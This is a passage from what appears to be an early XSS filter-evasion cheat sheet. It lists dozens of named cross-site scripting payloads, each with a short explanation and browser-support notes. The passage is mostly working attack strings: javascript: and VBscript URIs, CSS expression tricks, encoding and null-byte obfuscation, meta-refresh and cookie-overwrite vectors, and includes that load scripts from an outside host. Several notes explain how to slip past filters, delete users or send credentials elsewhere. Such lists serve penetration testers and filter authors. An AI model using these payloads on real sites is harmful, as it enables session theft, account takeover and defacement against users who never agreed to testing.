class="ns">FF1.5</span>] [<span class="s">O8.54</span>] - - - - IMG Dynsrc - <IMG DYNSRC="javascript:alert('XSS');"> - IMG Dynsrc - - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] - - - - IMG Lowsrc - <IMG LOWSRC="javascript:alert('XSS');"> - IMG Lowsrc - - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] - - - - IMG Embedded commands 1 - <IMG SRC="http://www.thesiteyouareon.com/somecommand.php?somevariables=maliciouscode"> - This works when the webpage where this is injected (like a web-board) is behind password protection and that password protection works with other commands on the same domain. This can be used to delete users, add users (if the user who visits the page is an administrator), send credentials elsewhere, etc... This is one of the lesser used but more useful XSS vectors. - - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] - - - - IMG Embedded commands 2 - Redirect 302 /a.jpg http://victimsite.com/admin.asp&deleteuser - IMG Embedded commands part II - this is more scary because there are absolutely no identifiers that make it look suspicious other than it is not hosted on your own domain. The vector uses a 302 or 304 (others work too) to redirect the image back to a command. So a normal <IMG SRC="http://badguy.com/a.jpg"> could actually be an attack vector to run commands as the user who views the image link. Here is the .htaccess (under Apache) line to accomplish the vector (thanks to Timo for part of this). - - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] - - - - IMG STYLE w/expression - exp/*<XSS STYLE='no\xss:noxss("*//*"); -xss:&#101;x&#x2F;*XSS*//*/*/pression(alert("XSS"))'> - - IMG STYLE with expression (this is really a hybrid of several CSS XSS vectors, but it really does show how hard STYLE tags can be to parse apart, like the other CSS examples this can send IE into a loop). - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] - - - - List-style-image - <STYLE>li {list-style-image: url("javascript:alert('XSS')");}</STYLE><UL><LI>XSS - - Fairly esoteric issue dealing with embedding images for bulleted lists. This will only work in the IE rendering engine because of the JavaScript directive. Not a particularly useful cross site scripting vector. - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] - - - - IMG w/VBscript - <IMG SRC='vbscript:msgbox("XSS")'> - VBscript in an image - - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] - - - - LAYER - <LAYER SRC="http://ha.ckers.org/scriptlet.html"></LAYER> - Layer (Older Netscape only) - - - Browser support: [<span class="ns">IE6.0</span>|<span class="ns">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] [<span class="s">NS4</span>] - - - - Livescript - <IMG SRC="livescript:[code]"> - Livescript (Older Netscape only) - - - Browser support: [<span class="ns">IE6.0</span>|<span class="ns">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] [<span class="s">NS4</span>] - - - - US-ASCII encoding - %BCscript%BEalert(%A2XSS%A2)%BC/script%BE - Found by Kurt Huwig http://www.iku-ag.de/ This uses malformed ASCII encoding with 7 bits instead of 8. This XSS may bypass many content filters but only works if the hosts transmits in US-ASCII encoding, or if you set the encoding yourself. This is more useful against web application firewall cross site scripting evasion than it is server side filter evasion. Apache Tomcat is the only known server that transmits in US-ASCII encoding. - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] [<span class="ns">NS4</span>] - - - - META - <META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert('XSS');"> - The odd thing about meta refresh is that it doesn't send a referrer in the header - so it can be used for certain types of attacks where you need to get rid of referring URLs. - - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="ns">O8.54</span>] - - - - META w/data:URL - <META HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K"> - This is nice because it also doesn't have anything visibly that has the word SCRIPT or the JavaScript directive in it, since it utilizes base64 encoding. Please see http://www.ietf.org/rfc/rfc2397.txt for more details - - - Browser support: [<span class="ns">IE6.0</span>|<span class="ns">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] - - - - META w/additional URL parameter - <META HTTP-EQUIV="refresh" CONTENT="0; URL=http://;URL=javascript:alert('XSS');"> - Meta with additional URL parameter. If the target website attempts to see if the URL contains an "http://" you can evade it with the following technique (Submitted by Moritz Naumann http://www.moritz-naumann.com) - - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] - - - - Mocha - <IMG SRC="mocha:[code]"> - Mocha (Older Netscape only) - - - Browser support: [<span class="ns">IE6.0</span>|<span class="ns">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] [<span class="s">NS4</span>] - - - - OBJECT - <OBJECT TYPE="text/x-scriptlet" DATA="http://ha.ckers.org/scriptlet.html"></OBJECT> - If they allow objects, you can also inject virus payloads to infect the users, etc. and same with the APPLET tag. The linked file is actually an HTML file that can contain your XSS - - - Browser support: [<span class="ns">IE6.0</span>|<span class="ns">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>] - - - - OBJECT w/Embedded XSS - <OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389><param name=url value=javascript:alert('XSS')></OBJECT> - Using an OBJECT tag you can embed XSS directly (this is unverified). - - - Browser support: - - - Embed Flash - <EMBED SRC="http://ha.ckers.org/xss.swf" AllowScriptAccess="always"></EMBED> - - Using an EMBED tag you can embed a Flash movie that contains XSS. If you add the attributes allowScriptAccess="never" and allownetworking="internal" it can mitigate this risk (thank you to Jonathan Vanasco for the info). Demo: http://ha.ckers.org/weird/xssflash.html : - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] - - - - OBJECT w/Flash 2 - a="get";&#10;b="URL("";&#10;c="javascript:";&#10;d="alert('XSS');")"; eval(a+b+c+d); - - Using this action script inside flash can obfuscate your XSS vector. - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] - - - - STYLE - <STYLE TYPE="text/javascript">alert('XSS');</STYLE> - STYLE tag (Older versions of Netscape only) - - - Browser support: [<span class="ns">IE6.0</span>|<span class="ns">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] [<span class="s">NS4</span>] - - - - STYLE w/Comment - <IMG STYLE="xss:expr/*XSS*/ession(alert('XSS'))"> - STYLE attribute using a comment to break up expression (Thanks to Roman Ivanov http://www.pixel-apes.com/ for this one) - - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] - - - - STYLE w/Anonymous HTML - <XSS STYLE="xss:expression(alert('XSS'))"> - Anonymous HTML with STYLE attribute (IE and Netscape 8.1+ in IE rendering engine mode don't really care if the HTML tag you build exists or not, as long as it starts with an open angle bracket and a letter) - - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] - - - - STYLE w/background-image - <STYLE>.XSS{background-image:url("javascript:alert('XSS')");}</STYLE><A CLASS=XSS></A> - - STYLE tag using background-image. - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] - - - - STYLE w/background - <STYLE type="text/css">BODY{background:url("javascript:alert('XSS')")}</STYLE> - - STYLE tag using background. - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] - - - - Stylesheet - <LINK REL="stylesheet" HREF="javascript:alert('XSS');"> - Stylesheet - - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>] - - - - Remote Stylesheet 1 - <LINK REL="stylesheet" HREF="http://ha.ckers.org/xss.css"> - Remote style sheet (using something as simple as a remote style sheet you can include your XSS as the style question redefined using an embedded expression.) This only works in IE and Netscape 8.1+ in IE rendering engine mode. Notice that there is nothing on the page to show that there is included JavaScript. Note: With all of these remote style sheet examples they use the body tag, so it won't work unless there is some content on the page other than the vector itself, so you'll need to add a single letter to the page to make it work if it's an otherwise blank page. - - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>] - - - - Remote Stylesheet 2 - <STYLE>@import'http://ha.ckers.org/xss.css';</STYLE> - Remote style sheet part 2 (this works the same as above, but uses a <STYLE> tag instead of a <LINK> tag). A slight variation on this vector was used to hack Google Desktop http://www.hacker.co.il/security/ie/css_import.html. As a side note you can remote the end STYLE tag if there is HTML immediately after the vector to close it. This is useful if you cannot have either an equal sign or a slash in your cross site scripting attack, which has come up at least once in the real world. - - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>] - - - - Remote Stylesheet 3 - <META HTTP-EQUIV="Link" Content="<http://ha.ckers.org/xss.css>; REL=stylesheet"> - Remote style sheet part 3. This only works in Opera but is fairly tricky. Setting a link header is not part of the HTTP1.1 spec. However, some browsers still allow it (like Firefox and Opera). The trick here is that I am setting a header (which is basically no different than in the HTTP header saying Link: <http://ha.ckers.org/xss.css>; REL=stylesheet) and the remote style sheet with my cross site scripting vector is running the JavaScript, which is not supported in FireFox. - - - Browser support: [<span class="ns">IE6.0</span>|<span class="ns">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>] - - - - Remote Stylesheet 4 - <STYLE>BODY{-moz-binding:url("http://ha.ckers.org/xssmoz.xml#xss")}</STYLE> - Remote style sheet part 4. This only works in Gecko rendering engines and works by binding an XUL file to the parent page. I think the irony here is that Netscape assumes that Gecko is safer and therefore is vulnerable to this for the vast majority of sites. - - - Browser support: [<span class="ns">IE6.0</span>|<span class="ns">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="ns">O8.54</span>] - - - - TABLE - <TABLE BACKGROUND="javascript:alert('XSS')"></TABLE> - Table background (who would have thought tables were XSS targets... except me, of course). - - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>] - - - - TD - <TABLE><TD BACKGROUND="javascript:alert('XSS')"></TD></TABLE> - TD background. - - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>] - - - - XML namespace - <HTML xmlns:xss> -<?import namespace="xss" implementation="http://ha.ckers.org/xss.htc"> -<xss:xss>XSS</xss:xss> - -</HTML> - XML namespace. The .htc file must be located on the server as your XSS vector. - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] - - - - XML data island w/CDATA - <XML ID=I><X><C><![CDATA[<IMG SRC="javas]]><![CDATA[cript:alert('XSS');">]]> - -</C></X></xml><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML> - XML data island with CDATA obfuscation (this XSS attack works only in IE and Netscape 8.1 IE rendering engine mode) - vector found by Sec Consult http://www.sec-consult.html while auditing Yahoo. - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] - - - - XML data island w/comment - <XML ID="xss"><I><B><IMG SRC="javas<!-- -->cript:alert('XSS')"></B></I></XML> - -<SPAN DATASRC="#xss" DATAFLD="B" DATAFORMATAS="HTML"></SPAN> - XML data island with comment obfuscation (doesn't use CDATA fields, but rather uses comments to break up the javascript directive) - - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] - - - - XML (locally hosted) - <XML SRC="http://ha.ckers.org/xsstest.xml" ID=I></XML> -<SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN> - - Locally hosted XML with embedded JavaScript that is generated using an XML data island. This is the same as above but instead refers to a locally hosted (must be on the same server) XML file that contains the cross site scripting vector. - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] - - - - XML HTML+TIME - <HTML><BODY> -<?xml:namespace prefix="t" ns="urn:schemas-microsoft-com:time"> - -<?import namespace="t" implementation="#default#time2"> -<t:set attributeName="innerHTML" to="XSS<SCRIPT DEFER>alert('XSS')</SCRIPT>"> </BODY></HTML> - - HTML+TIME in XML. This is how Grey Magic http://www.greymagic.com/security/advisories/gm005-mc/ hacked Hotmail and Yahoo!. This only works in Internet Explorer and Netscape 8.1 in IE rendering engine mode and remember that you need to be between HTML and BODY tags for this to work. - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] - - - - Commented-out Block - <!--[if gte IE 4]> -<SCRIPT>alert('XSS');</SCRIPT> -<![endif]--> - - Downlevel-Hidden block (only works in IE5.0 and later and Netscape 8.1 in IE rendering engine mode). Some websites consider anything inside a comment block to be safe and therefore it does not need to be removed, which allows our XSS vector. Or the system could add comment tags around something to attempt to render it harmless. As we can see, that probably wouldn't do the job. - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] - - - - Cookie Manipulation - <META HTTP-EQUIV="Set-Cookie" Content="USERID=<SCRIPT>alert('XSS')</SCRIPT>"> - - Cookie manipulation - admittedly this is pretty obscure but I have seen a few examples where <META is allowed and you can user it to overwrite cookies. There are other examples of sites where instead of fetching the username from a database it is stored inside of a cookie to be displayed only to the user who visits the page. With these two scenarios combined you can modify the victim's cookie which will be displayed back to them as JavaScript (you can also use this to log people out or change their user states, get them to log in as you, etc). - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] - - - - Local .htc file - <XSS STYLE="behavior: url(http://ha.ckers.org/xss.htc);"> - This uses an .htc file which must be on the same server as the XSS vector. The example file works by pulling in the JavaScript and running it as part of the style attribute. - - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] - - - - Rename .js to .jpg - <SCRIPT SRC="http://ha.ckers.org/xss.jpg"></SCRIPT> - Assuming you can only fit in a few characters and it filters against ".js" you can rename your JavaScript file to an image as an XSS vector. - - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] - - - - SSI - <!--#exec cmd="/bin/echo '<SCRIPT SRC'"--><!--#exec cmd="/bin/echo '=http://ha.ckers.org/xss.js></SCRIPT>'"--> - - SSI (Server Side Includes) requires SSI to be installed on the server to use this XSS vector. I probably don't need to mention this, but if you can run commands on the server there are no doubt much more serious issues. - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] - - - - PHP - <? echo('<SCR)'; -echo('IPT>alert("XSS")</SCRIPT>'); ?> - - PHP - requires PHP to be installed on the server to use this XSS vector. Again, if you can run any scripts remotely like this, there are probably much more dire issues. - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] - - - - JavaScript Includes - <BR SIZE="&{alert('XSS')}"> - &JavaScript includes (works in Netscape 4.x). - - - Browser support: [<span class="ns">IE6.0</span>|<span class="ns">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] [<span class="s">NS4</span>] - - - - Character Encoding Example - < -%3C -&lt -&lt; -&LT -&LT; -&#60 -&#060 -&#0060 - -&#00060 -&#000060 -&#0000060 -&#60; -&#060; -&#0060; -&#00060; -&#000060; -&#0000060; -&#x3c -&#x03c -&#x003c -&#x0003c -&#x00003c -&#x000003c -&#x3c; -&#x03c; - -&#x003c; -&#x0003c; -&#x00003c; -&#x000003c; -&#X3c -&#X03c -&#X003c -&#X0003c -&#X00003c -&#X000003c -&#X3c; -&#X03c; -&#X003c; -&#X0003c; -&#X00003c; -&#X000003c; -&#x3C - -&#x03C -&#x003C -&#x0003C -&#x00003C -&#x000003C -&#x3C; -&#x03C; -&#x003C; -&#x0003C; -&#x00003C; -&#x000003C; -&#X3C -&#X03C -&#X003C -&#X0003C -&#X00003C -&#X000003C - -&#X3C; -&#X03C; -&#X003C; -&#X0003C; -&#X00003C; -&#X000003C; -\x3c -\x3C -\u003c -\u003C - All of the possible combinations of the character "<" in HTML and JavaScript. Most of these won't render, but many of them can get rendered in certain circumstances (standards are great, aren't they?). - - - Browser support: - - - Case Insensitive - <IMG SRC=JaVaScRiPt:alert('XSS')> - Case insensitive XSS attack vector. - - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>] - - - - HTML Entities - <IMG SRC=javascript:alert(&quot;XSS&quot;)> - HTML entities (the semicolons are required for this to work). - - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>] - - - - Grave Accents - <IMG SRC=`javascript:alert("RSnake says, 'XSS'")`> - Grave accent obfuscation (If you need to use both double and single quotes you can use a grave accent to encapsulate the JavaScript string - this is also useful because lots of cross site scripting filters don't know about grave accents). - - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] - - - - Image w/CharCode - <IMG SRC=javascript:alert(String.fromCharCode(88,83,83))> - If no quotes of any kind are allowed you can eval() a fromCharCode in JavaScript to create any XSS vector you need. - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>] - - - - UTF-8 Unicode Encoding - <IMG SRC=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41;> - - UTF-8 Unicode encoding (all of the XSS examples that use a javascript: directive inside of an IMG tag will not work in Firefox or Netscape 8.1+ in the Gecko rendering engine mode). - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>] - - - - Long UTF-8 Unicode w/out Semicolons - <IMG SRC=&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041> - - Long UTF-8 Unicode encoding without semicolons (this is often effective in XSS that attempts to look for "&#XX;", since most people don't know about padding - up to 7 numeric characters total). This is also useful against people who decode against strings like $tmp_string =~ s/.*\&#(\d+);.*/$1/; which incorrectly assumes a semicolon is required to terminate an html encoded string (I've seen this in the wild). - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>] - - - - DIV w/Unicode - <DIV STYLE="background-image:\0075\0072\006C\0028'\006a\0061\0076\0061\0073\0063\0072\0069\0070\0074\003a\0061\006c\0065\0072\0074\0028.1027\0058.1053\0053\0027\0029'\0029"> - DIV background-image with unicoded XSS exploit (this has been modified slightly to obfuscate the url parameter). The original vulnerability was found by Renaud Lifchitz (http://www.sysdream.com) as a vulnerability in Hotmail. - - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] - - - - Hex Encoding w/out Semicolons - <IMG SRC=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29> - - Hex encoding without semicolons (this is also a viable XSS attack against the above string $tmp_string = ~ s/.*\&#(\d+);.*/$1/; which assumes that there is a numeric character following the pound symbol - which is not true with hex HTML characters). - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>] - - - - UTF-7 Encoding - <HEAD><META HTTP-EQUIV="CONTENT-TYPE" CONTENT="text/html; charset=UTF-7"> </HEAD>+ADw-SCRIPT+AD4-alert('XSS');+ADw-/SCRIPT+AD4- - - UTF-7 encoding - if the page that the XSS resides on doesn't provide a page charset header, or any browser that is set to UTF-7 encoding can be exploited with the following (Thanks to Roman Ivanov http://www.pixel-apes.com/ for this one). You don't need the charset statement if the user's browser is set to auto-detect and there is no overriding content-types on the page in Internet Explorer and Netscape 8.1 IE rendering engine mode). Watchfire http://seclists.org/lists/fulldisclosure/2005/Dec/1107.html found this hole in Google's custom 404 script. - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] - - - - Escaping JavaScript escapes - \";alert('XSS');// - Escaping JavaScript escapes. When the application is written to output some user information inside of a JavaScript like the following: <SCRIPT>var a="$ENV{QUERY_STRING}";</SCRIPT> and you want to inject your own JavaScript into it but the server side application escapes certain quotes you can circumvent that by escaping their escape character. When this is gets injected it will read <SCRIPT>var a="";alert('XSS');//";</SCRIPT> which ends up un-escaping the double quote and causing the Cross Site Scripting vector to fire. - - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] - - - - End title tag - </TITLE><SCRIPT>alert("XSS");</SCRIPT> - This is a simple XSS vector that closes TITLE tags, which can encapsulate the malicious cross site scripting attack. - - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] - - - - STYLE w/broken up JavaScript - <STYLE>@im\port'\ja\vasc\ript:alert("XSS")';</STYLE> - STYLE tags with broken up JavaScript for XSS (this XSS at times sends IE into an infinite loop of alerts). - - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] - - - - Embedded Tab - <IMG SRC="jav ascript:alert('XSS');"> - Embedded tab to break up the cross site scripting attack. - - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>] - - - - Embedded Encoded Tab - <IMG SRC="jav&#x09;ascript:alert('XSS');"> - Embedded encoded tab to break up XSS. For some reason Opera does not allow the encoded tab, but it does allow the previous tab XSS and encoded newline and carriage returns below. - - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] - - - - Embedded Newline - <IMG SRC="jav&#x0A;ascript:alert('XSS');"> - Embedded newline to break up XSS. Some websites claim that any of the chars 09-13 (decimal) will work for this attack. That is incorrect. Only 09 (horizontal tab), 10 (newline) and 13 (carriage return) work. - - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>] - - - - Embedded Carriage Return - <IMG SRC="jav&#x0D;ascript:alert('XSS');"> - Embedded carriage return to break up XSS (Note: with the above I am making these strings longer than they have to be because the zeros could be omitted. Often I've seen filters that assume the hex and dec encoding has to be two or three characters. The real rule is 1-7 characters). - - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>] - - - - Multiline w/Carriage Returns - <IMG SRC = " j a v a s c r i p t : a l e r t ( ' X S S ' ) " > - - Multiline Injected JavaScript using ASCII carriage returns (same as above only a more extreme example of this XSS vector). - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>] - - - - Null Chars 1 - perl -e 'print "<IMG SRC=java\0script:alert("XSS")>";'> out - - Okay, I lied, null chars also work as XSS vectors but not like above, you need to inject them directly using something like Burp Proxy (http://www.portswigger.net/proxy/) or use %00 in the URL string or if you want to write your own injection tool you can use Vim (^V^@ will produce a null) to generate it into a text file. Okay, I lied again, older versions of Opera (circa 7.11 on Windows) were vulnerable to one additional char 173 (the soft hyphen control char). But the null char %00 is much more useful and helped me bypass certain real world filters with a variation on this example. - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] - - - - Null Chars 2 - perl -e 'print "&<SCR\0IPT>alert("XSS")</SCR\0IPT>";' > out - - Here is a little known XSS attack vector using null characters. You can actually break up the HTML itself using the same nulls as shown above. I've seen this vector bypass some of the most restrictive XSS filters to date - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] - - - - Spaces/Meta Chars - <IMG SRC=" &#14; javascript:alert('XSS');"> - Spaces and meta chars before the JavaScript in images for XSS (this is useful if the pattern match doesn't take into account spaces in the word "javascript:" - which is correct since that won't render- and makes the false assumption that you can't have a space between the quote and the "javascript:" keyword. The actual reality is you can have any char from 1-32 in decimal). - - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] - - - - Non-Alpha/Non-Digit - <SCRIPT/XSS SRC="http://ha.ckers.org/xss.js"></SCRIPT> - Non-alpha-non-digit XSS. While I was reading the Firefox HTML parser I found that it assumes a non-alpha-non-digit is not valid after an HTML keyword and therefore considers it to be a whitespace or non-valid token after an HTML tag. The problem is that some XSS filters assume that the tag they are looking for is broken up by whitespace. For example "<SCRIPT\s" != "<SCRIPT/XSS\s" - - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="ns">O8.54</span>] - - - - Non-Alpha/Non-Digit Part 2 - <BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert("XSS")> - Non-alpha-non-digit XSS part 2. yawnmoth brought my attention to this vector, based on the same idea as above, however, I expanded on it, using my fuzzer. The Gecko rendering engine allows for any character other than letters, numbers or encapsulation chars (like quotes, angle brackets, etc...) between the event handler and the equals sign, making it easier to bypass cross site scripting blocks. Note that this does not apply to the grave accent char as seen here. - - - Browser support: [<span class="ns">IE6.0</span>|<span class="ns">NS8.1-IE</span>] [<span 